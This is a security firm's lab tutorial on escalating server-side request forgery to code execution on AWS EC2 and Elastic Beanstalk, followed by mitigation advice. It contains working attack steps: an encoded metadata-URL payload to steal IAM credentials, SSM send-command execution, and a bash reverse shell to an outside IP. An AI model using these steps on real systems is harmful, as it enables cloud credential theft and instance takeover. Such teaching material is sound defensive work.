Cloud is more fun with an SSRF

 

In this article, we are going to explore SSRF potential test cases that would allow a malicious actor to gain remote code execution on your AWS Instance.

Table of contents

What is Server Side Request Forgery

SSRF to RCE using EC2 Role

SSRF to RCE in AWS Beanstalk

SSRF mitigation Techniques

Patched Backend Code

Find Hidden SSRF?

 

What is Server Side Request Forgery

A Server Side Request Forgery is a Web Application vulnerability that would allow an attacker to retrieve internal resources of the application which are not directly accessible, by abusing application functionality.

Image from Imperva

Impact of SSRF

Successful exploitation of SSRF will result in access to the backend systems, and access to the internal resources and files of the system and in some cases, SSRF might allow an attacker to perform remote code execution in the context of a vulnerable application.

SSRF to RCE using EC2 Role

In this scenario, we will be going to deploy vulnerable backend code along IAM policies attached to the EC2 role, which will allow us to perform remote code execution on Web Application running on an EC2 instance.
 

What is Amazon EC2 Instance?

An EC2 instance is a virtual server that allows applications, software, and code to run on Amazon Web Services (AWS) infrastructure (read more here).

Provisioning an Environment

To get started, let’s first create an EC2 instance. 

  • For that go to the Launch Instance Section.

 

  • For this specific lab, we are going to use the t2.micro instance. 

  • Click on Launch Instance and your instance will be created.

Setting up a Role for EC2 Instance

Now we are going to create a role for our EC2 instance, later we will be attaching policies to this role so that our EC2 instance will have certain permission to perform some actions.


Figure:1 Creating Role for EC2 instance


Figure: 2 select trusted identity as EC2
 

In the final step define a name, set a description and tag for your Role, and proceed with the creation. Which will look similar to this:




Attach Policies to IAM Role

In this step, we are going to attach some policies to our IAM Role that we’ve just created. Go to the IAM policies section and attach the following policies:

  • AmazonSSMFullAccess - provides full access to Amazon SSM.

  • AmazonSSMDirectoryServiceAccess - this policy allows SSM Agent to access Directory Service on behalf of the customer for domain-join the managed instance.

  • AmazonSSMManagedInstanceCore - the policy for Amazon EC2 Role to enable AWS Systems Manager service core functionality.

  • CloudWatchAgentServerPolicy - permissions required to use AmazonCloudWatchAgent on servers

More about AWS polices management you can read here.

Attach IAM Role to EC2 Instance

In this step, we will attach IAM Role to our EC2 Instance. To do this you will need to go to the EC2 section, select your EC2 instance, go to the actions and click on modify IAM Role.

Choose the role you just created and click on Update IAM role.

Setting up a Vuln Machine

Let’s get started with a vulnerable SSRF machine. Make sure you are logged in to your EC2 instance SSH machine and run the following commands:

$ git clone https://github.com/spiderSilk-com/blogs

Follow the documentation available on blogs repository and run vulnerable application on your EC2 Instance.

 

SSRF Vulnerability Analysis

In this SSRF lab, the “URL” parameter makes DNS calls to AWS internal resources. This can be confirmed by sending a request to http://2852039166 which is the decimal representation of  http://169.254.169.25. Receiving the request from an AWS instance we can confirm that SSRF Exists in the URL parameter. 

Using decimal notation http://2852039166 of AWS URL, an attacker can extract aws metadata.

Below given payload has been used to fetch the available IAM roles which can be used to extract temporary credentials for AWS.  http://2852039166/latest/meta-data/iam/security-credentials/

Retrieving AWS Key ID, Secret Token, Session Token

Configuring AWS command line:

$ vi ~/.aws/credentials

 



Extracting AWS Identity Information

$ aws sts get-caller-identity


Extracting EC2 Details:

$ aws ssm describe-instance-information --output text --query "InstanceInformationList[*]"


Executing command on EC2

$ aws ssm send-command --document-name "AWS-RunShellScript" --comment "Exec" --targets "Key=instanceids,Values=[i-09c30846c69e02bd9]" --parameters 'commands=id'

 

Note: make sure you replace values with your instance ID.

Extracting command output:

$ aws ssm list-command-invocations --command-id "b7b31e3a-790e-40d4-b2a5-09983c1bc7c9" --details

 



Getting Reverse Shell on EC2 Instance

$ aws ssm send-command --document-name "AWS-RunShellScript" --comment "Exec" --targets "Key=instanceids,Values=[i-09c30846c69e02bd9]" --parameters 'commands=bash -i >& /dev/tcp/45.79.123.205/1337 0>&1' --output json

 

We successfully got a reverse shell on our EC2 instance using the deployed vulnerable code. 

More info: IAM roles for Amazon EC2
 

SSRF to RCE in AWS Beanstalk

In this method, we are going to set up an environment on AWS to get an RCE using the beanstalk service. 

What is AWS beanstalk?

AWS Beanstalk is the service offered by AWS that allows the deployment of various Web Applications such as .NET, Java, PHP, NodeJS, Python, Ruby and Go on servers such as Apache, Nginx Passenger, and IIS.

More about AWS beanstalk you can read here.

Creating AWS Beanstalk Environment

For this Lab, we are first going to provision our AWS beanstalk Web Application for that we navigate to AWS Elastic beanstalk and spin out the new environment. 

We will be using the following link to set it up:

https://us-east-2.console.aws.amazon.com/elasticbeanstalk/home?region=us-east-2
 

Enter the required Application Name and description for the AWS Beanstalk environment.

Choose the required Platform for your application. For this particular lab, we are going to select the PHP platform.

Click on “create environment”, once all the requested fields have been filled.

Once the Elastic Beanstalk Application is created, the AWS will create a default s3 bucket, security group, and an EC2 instance. A default instance profile is also created with the name aws-beanstalk-ec2-role which is linked to the EC2 instance with default permissions.

By default, the encryption is not turned on when an elastic bean environment is spun, which means that by default bucket objects are stored unencrypted in the bucket.

Vulnerability Analysis

We will go through the same steps that we did in our previous exploitation lab, but this time we are going to exploit the role “aws-elasticbeanstalk-ec2-role”.

We extracted security credentials and found elastic beanstalk ec2 role, which will be further exploited.

Retrieving AWS Key ID, Secret Token, Session Token

 

Configuring AWS command line:

Exploiting default S3 Bucket

Once an AWS beanstalk application is created, Amazon AWS creates a default s3 bucket for this Web Application. All we need is to extract Amazon AWS account ID in order to fully identify the s3 bucket name.

The full name of the s3 bucket can be found by first running aws sts get-caller-identity command for extracting the account ID.

For Example, the bucket name would look like elasticbeanstalk-us-east-2-[account-ID].

Extracting AWS Identity Information
 

$ aws sts get-caller-identity

 

Enabling CI/CD CodePipeLine for Auto Deployment

Before we start exploiting the default s3 bucket, we need to deploy CI/CD code pipeline to our s3 bucket.

Once the Code pipeline is deployed anything that is pushed in the s3 bucket will be deployed on our application web server. So let’s get going and enable Code Pipeline.

Select the appropriate Pipeline name and Role name for your CodePipeLine.

In advance settings for the artifacts select “Default Location” and for Encryption Select “Default AWS managed Key”.

In the next step, Add source stage, the source provider should be Amazon S3 and in the object key field, you can enter the name of the file you are going to upload when exploiting the AWS beanstalk s3 bucket.

At Add deploy stage, select the provider name as “AWS Elastic Beanstalk”. Choose the Application and Environment name and click on Next. Upon clicking on next, Code Pine Line will be created. Let’s move to the next step of exploitation.

Pivoting SSRF to RCE

Now it’s time to escalate our SSRF to RCE by exploiting the default s3 bucket. First we are going to create a simple PHP file that contains “<?php phpinfo() ?>” contents in it. Now let’s add this file to the ZIP file and push it to elasticsearch stalk s3 bucket. 

The Code PipeLine will be executed and our PHP script will be uploaded to the web server. 

Accessing the PHP file from the browser:

Now we can simply upload a PHP reverse shell to get full control of the targeted system.

SSRF mitigation Techniques

OWASP has included SSRF on the OWASP top 10 list for 2021. More and More applications are being targeted for SSRF attacks depending on the Web Applications Environments and functionalities. SSRF mitigation can be a tricky part but if done well wouldn't allow an attacker to fetch internal resources of the Application. Listed below are a few mitigation techniques:

  • Whitelist - only allowing specific hosts would restrict the users to request hosts that are allowed by default. No hosts would be reachable other than defined hosts. This way attacker would not be able to send requests to the internal hosts e.g “127.0.0.1” or AWS internal IPS that is “169.254.169.254”

  • Resolve Hostnames - it’s a common bypass to point a hostname to the internal IP address for that reason make sure you resolve hostnames to their IP address and allow only domains that are legit and aren’t really pointing to internal domains.

  • Redirects - make sure the request coming from the hosts is not a redirected one. Another common bypass is to redirect requests to the internal hosts for example upon finding an SSRF we can use a PHP header with a “location” header, which can redirect attackers' requests to the internal hosts resulting in access to the internal resources of the application.

  • Blacklist - creating an SSRF backlist is tricky and takes a lot of the developer's attention. Using a backlist a user can only fetch the resources that aren’t defined in our blacklist. A Blacklist needs to be defined very carefully for example if you want an attacker not to fetch internal AWS resources you have to add all of the variations/payloads of AWS internal API which is 169.254.169.254.

Patched Backend Code

In order to patch our valuable code that has been used in the Lab environment, we have used a whitelist string. After using the whitelist, the attacker won’t be able to fetch the internal resources of the application and would only be able to make calls to the defined hosts.



Upon using the same exploitation payload that we used previously we have got the following error, stating internal hosts aren't reachable anymore and hence this fixes the existing SSRF vulnerability in our code.

Find Hidden SSRF?

What if I told you, that within our Lab backend code, there’s a hidden SSRF? You can still make a call to external hosts like yahoo.com, google.com and can even perform internal port scans. Find your way to HACK IT!

© 2024 All Rights Reserved spiderSilk Security DMCC.

All trademarks and company names are the property of their respective owners.